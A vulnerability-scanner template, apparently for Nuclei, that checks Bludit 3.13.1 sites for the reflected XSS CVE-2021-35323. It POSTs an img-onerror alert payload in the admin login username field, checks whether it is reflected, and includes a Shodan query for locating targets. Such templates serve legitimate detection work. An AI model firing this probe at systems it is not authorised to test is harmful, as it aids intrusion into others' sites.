54 lines
1.5 KiB
YAML
54 lines
1.5 KiB
YAML
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id: CVE-2021-35323
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info:
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name: Bludit 3.13.1 - Cross Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
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remediation: Bludit v4.0.0
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reference:
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- https://github.com/bludit/bludit/issues/1327
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- https://nvd.nist.gov/vuln/detail/CVE-2021-35323
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-35323
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cwe-id: CWE-79
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metadata:
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verified: true
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shodan-query: title:"Bludit"
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tags: cve,cve2021,bludit,xss
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http:
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- raw:
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- |
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GET /bludit/admin/login HTTP/1.1
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Host: {{Hostname}}
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- |
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@timeout: 10s
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POST /bludit/admin/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=
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cookie-reuse: true
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host-redirects: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_2 == 200'
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- 'contains(content_type_2, "text/html")'
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- 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")'
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condition: and
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extractors:
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- type: regex
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name: tokenCSRF
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part: body
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group: 1
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regex:
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- 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"'
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internal: true
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